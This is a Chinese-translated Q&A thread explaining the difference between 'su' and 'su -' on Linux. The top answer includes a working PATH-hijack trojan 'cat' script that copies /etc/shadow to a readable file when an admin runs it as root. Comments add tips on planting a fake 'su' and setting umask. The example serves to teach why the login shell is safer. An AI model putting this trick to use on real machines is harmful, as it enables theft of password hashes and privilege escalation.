为什么我们使用 su - 而不仅仅是 su?

Dha*_*mit 204 linux permissions su conventions

我不明白为什么su -优先于su以 root 身份登录。

wag*_*wag 270

su -切换用户后调用登录shell。登录 shell 会重置大多数环境变量,从而提供一个干净的基础。

su 只是切换用户,提供一个普通 shell,其环境与旧用户几乎相同。

想象一下,您是一名软件开发人员,拥有对机器的普通用户访问权限,而您无知的管理员不会授予您 root 访问权限。让我们(希望)欺骗他。

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Run Code Online (Sandbox Code Playgroud)

现在,你问你的管理员为什么你不能cat在你的主文件夹中创建虚拟文件,它就是行不通!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Run Code Online (Sandbox Code Playgroud)

如果您的管理员不那么聪明或有点懒惰,他可能会来到您的办公桌前尝试使用他的超级用户权限:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Run Code Online (Sandbox Code Playgroud)

哇!谢谢,超级管理员!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Run Code Online (Sandbox Code Playgroud)

呵呵。

您可能注意到损坏的$PATH变量没有被重置。如果管理员su -改为调用,则不会发生这种情况。

  • `su --` 与 `su` 相同。 (13认同)
  • -- 是大多数程序将其解释为“此后的任何内容都不应被视为标志”的标志。用于搜索以破折号开头的内容。 (13认同)
  • 也可以在 PATH 中放置一个 `su` 文件。模仿真正的“su”的行为并不难。超级用户无论如何都是粗心的:-) (11认同)
  • `su --` 与 `su -` 不同:`--` 告诉 getopt(s)(或类似的)选项处理程序停止处理命令行以获取更多选项(例如,如果其余部分包含文件名,则很有用)可以以“-”开头)。即,在 "rm -i -- -f" 中:-f 然后被视为常规参数,因此这里作为文件的 *name* 到 `rm -i`,而 *not* 作为附加的 `-f `rm` 命令的`选项。所以 `su --` 只是 `su` 而不是 `su -`!所以 `su --` 与 wag 给出的(有趣且有启发性的)例子一样不安全。使用`su -`。 (11认同)
  • 不要忘记设置像 000 这样的 `umask` 否则它不会工作。 (3认同)

Mik*_*kel 36

su -将您完全以 root 身份登录,而su让您假装是 root。

这方面最明显的例子是,~是根的主目录,如果你使用的su -,而是你自己的主目录,如果你使用su

根据您的系统,它也可能意味着提示PATH、 或历史文件的差异。

因此,如果您是管理系统的团队的一员,并且您的同事给了您一个运行命令,那么您知道如果您都使用su -,它的工作方式相同,但是如果您都使用su,则可能存在差异,因为您有不同的外壳配置。

另一方面,如果您想以 root 身份运行命令但使用您自己的配置,那么也许su对您更好。

也不要忘记 about sudo,它可以-s选择启动以 root 身份运行的 shell。当然,这也有不同的规则,它们会根据您使用的发行版而变化。


小智 7

主要区别是:

su - username设置 shell 环境,就好像它是指定用户的干净登录一样,它访问并使用指定的用户环境变量,

su username只需为指定用户启动一个具有当前环境设置的 shell。

如果未使用su和指定用户名su -,则默认使用 root 帐户。